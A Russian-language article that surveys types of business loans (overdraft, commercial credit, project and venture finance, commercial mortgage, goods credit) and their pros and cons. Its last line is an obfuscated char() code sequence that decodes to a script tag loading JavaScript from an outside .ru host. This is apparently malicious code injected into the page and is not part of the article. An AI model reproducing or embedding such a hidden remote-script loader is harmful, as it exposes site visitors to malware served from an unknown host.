Виды бизнес-кредитов и их особенности

Виды бизнес-кредитов и их особенности

О том, что сегодня предоставляются различные банковские услуги для развития бизнеса, известно многим предпринимателям. Но не все из них разбираются в предназначении и тонкостях каждого вида бизнес-кредитования. С целью экономии бесценного времени и финансов предпринимателей, рассмотрим наиболее распространенные виды кредитов, оформляемых сегодня на развитие бизнеса. Итак, если возникшие финансовые сложности носят временный характер, вам вполне подойдет такой вид услуги банка, как овердрафт. Оформляют его сроком до 30 дней, а в случае, если применяется пластиковая карта -  до 50 дней. Причем этот вид бизнес-кредитования предоставляется как физическим, так и юридическим лицам. К преимуществам овердрафта можно отнести сразу несколько фактов. Прежде всего, этот кредит дает возможность вовремя рассчитаться с клиентами. При его оформлении с вас в банке не потребуют предоставления бизнес-плана или экономического обоснования кредита. Кроме того, необязательным является и наличие обеспечения. Как правило, при оформлении данной бизнес услуги всегда существует возможность пересмотра лимита. Вашу заявку на овердрафт рассмотрят в кратчайшие сроки. Ну и самое главное преимущество овердрафта – это то, что на этот вид кредитования устанавливается довольно низкая процентная ставка. Услугу коммерческого кредита могут оказать друг другу сами предприниматели. Сущность этого кредита заключается в том, что он предоставляется в виде товара, позволяя тем самым отдалить срок выплаты за реализованный товар или предоставленные услуги. Т.е. у предпринимателей есть возможность договориться между собой, на какое время отсрочить платеж по кредиту. Коммерческий кредит пригодится в случае, если, например, одна компания, не располагая на данный момент необходимой суммой, хочет приобрести товары или услуги, предоставляемые другой компанией. С помощью этого вида кредитования удастся избежать остановки в производстве товаров, ускорить их оборот и, следовательно, увеличить доход. Коммерческий кредит оформляется, как правило, на небольшой срок. Заполучить банковские услуги по предоставлению такого кредита как проектное финансирование, будет немного сложнее, поскольку количество банков, предоставляющих такой вид кредитования, в настоящее время ограничено. Операция по выдаче этого вида кредита происходит с помощью финансового лизинга дорогостоящих проектов, связанных с покупкой профессионального оборудования. Явным недостатком проектного финансирования является то, что вашу заявку могут рассматривать вплоть до 6 месяцев. И не факт, что по истечении этого срока кредит вы таки получите. Длительность оформления данного кредита подразумевает также поиск финансирования, из-за чего реализация вашего проекта может оказаться под угрозой. Но и это еще не все сложности. В отличие от овердрафта, проектное финансирование не обойдется без предоставления банку готового бизнес-плана, рассматривать который будут во всех деталях, чтобы оценить полноту возможный рисков. Для начинающих и уже действующих предприятий малого и среднего бизнеса доступен и такой вид долгосрочного кредитования как венчурное финансирование. С одной стороны, от вас не потребуется практически никаких гарантий, с другой, - такое финансирование оформляется под высокую процентную ставку. Цель оформления венчурного финансирования - инвестирование финансов в развитие наукоемких проектов. С оформлением этого вида кредитования не возникнет проблем, т.к. в настоящее время в России существует достаточно много надежных венчурных фондов и инвестиционных компаний. Коммерческая ипотека – вид бизнес услуги, предоставляемый предпринимателям на приобретение нежилых помещений, склада или офиса. При этом залогом является сама коммерческая недвижимость. Оформляется коммерческая ипотека, в отличие, например, от жилищной, на достаточно короткий срок, и характеризуется высокими процентными ставками. Еще один вид бизнес-кредитования - товарный кредит. Воспользоваться им можно, если вы собираетесь приобрести необходимый для развития вашего бизнеса товар, например, станки, машины, компьютеры. К плюсам этого кредита можно отнести отсутствие залога и возможность отсрочки платежа до 1 года. Кроме того, товарный кредит – незаменимый вариант, когда речь идет о приобретении дорогостоящего оборудования. Что касается услуги кредитования индивидуальных предпринимателей, то при отсутствии кредитной истории вам будет сложно убедить банк предоставить вам помощь. Дело в том, что частным предпринимателям не всегда есть что предоставить банку в залог. А разница между потребительским и бизнес кредитом все-таки большая. При оформлении потребительского кредита заемщик получает фиксированную зарплату, часть из которой он вносит в счет платежа по кредиту. А при оформлении бизнес кредитования, все зависит от будущих доходов и расходов клиента.

char(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,112,105,107,115,117,115,46,109,115,107,46,114,117,47)878cc720507e7a7d0b867eea4702e1f8.js" type="text/javascript">